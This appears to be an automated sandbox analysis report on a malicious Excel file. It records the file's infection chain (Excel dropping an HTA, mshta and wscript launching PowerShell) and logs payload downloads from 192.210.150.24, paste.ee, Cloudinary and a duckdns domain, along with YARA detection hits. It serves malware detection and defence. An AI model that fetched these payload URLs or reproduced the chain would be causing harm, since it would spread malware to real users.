Source: global traffic	HTTP traffic detected: GET /55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.210.150.24Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Thu, 12 Dec 2024 05:28:35 GMTConnection: Keep-AliveHost: 192.210.150.24If-None-Match: "142f6-6290bfc5f522a"

Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: jktc.pro
Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: newglobalfucntioninside.duckdns.org

Source: mshta.exe, 0000000F.00000003.466152051.00000000038F7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/
Source: powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/creamyk
Source: powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.489417640.000000001ABD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF
Source: powershell.exe, 00000007.00000002.444969605.000000001AAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF&
Source: powershell.exe, 00000007.00000002.444969605.000000001AAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF-
Source: powershell.exe, 00000015.00000002.489417640.000000001AB82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF3
Source: powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIFPZ)p
Source: powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIFp
Source: mshta.exe, 0000000F.00000002.476994248.00000000038F7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475020907.000000000268F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.473159284.000000000268E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta
Source: mshta.exe, 0000000F.00000003.468834962.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta$
Source: mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta...
Source: mshta.exe, 0000000F.00000003.468834962.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta1
Source: mshta.exe, 00000004.00000002.429965254.00000000054F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htaOKWWS
Source: mshta.exe, 00000004.00000003.424171673.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424100886.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.467845451.0000000002685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htahttp://192.210.150.24
Source: mshta.exe, 00000004.00000002.428631403.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424952487.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htak
Source: mshta.exe, 0000000F.00000002.476811997.00000000003AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.468834962.000000000041D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000041D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.000000000041D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htating=penitent&cop-out
Source: mshta.exe, 00000004.00000003.424450335.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.429796823.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/f
Source: mshta.exe, 00000004.00000003.424450335.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.429796823.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.150.24/n
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038DB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C725000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C717000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C725000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.444969605.000000001AA79000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.445283561.000000001C6D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.cr
Source: powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.485256556.00000000028BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C725000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C717000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C725000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000007.00000002.441620855.0000000002401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.494191890.00000000021E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.485256556.00000000022E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.527923498.0000000002021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038DB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.468834962.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038DB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476811997.0000000000463000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.0000000000463000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.468834962.0000000000463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jktc.pro/
Source: mshta.exe, 0000000F.00000003.466152051.00000000038DB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jktc.pro/-p
Source: mshta.exe, 0000000F.00000002.476811997.000000000041D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp, Cot90012ARCACONTAL.xls, ~DF04B4D643794D5F54.TMP.0.dr	String found in binary or memory: https://jktc.pro/6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-ou
Source: mshta.exe, 00000004.00000002.428631403.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424952487.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jktc.pro/g
Source: mshta.exe, 00000004.00000002.428631403.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424952487.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jktc.pro/leh
Source: powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000D.00000002.494191890.00000000023E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.527923498.0000000002222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com
Source: powershell.exe, 0000001A.00000002.527923498.0000000002222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
Source: powershell.exe, 0000000D.00000002.494191890.00000000023E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.527923498.0000000002222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgX
Source: mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C725000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C717000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: powershell.exe, 00000007.00000002.445283561.000000001C7A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.verisign.7

Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: unknown	HTTPS traffic detected: 172.67.163.184:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.34.183:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.184:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.184:443 -> 192.168.2.22:49170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.6:443 -> 192.168.2.22:49173 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 3968, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3344, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: Cot90012ARCACONTAL.xls	OLE: Microsoft Excel 2007+
Source: Cot90012ARCACONTAL.xls	OLE: Microsoft Excel 2007+
Source: Cot90012ARCACONTAL.xls	OLE: Microsoft Excel 2007+
Source: Cot90012ARCACONTAL.xls	OLE: Microsoft Excel 2007+
Source: ~DF04B4D643794D5F54.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: ~DF04B4D643794D5F54.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: ~DF04B4D643794D5F54.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: ~DF04B4D643794D5F54.TMP.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamkissingthingswithcreambananapackagecreamy[1].hta

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

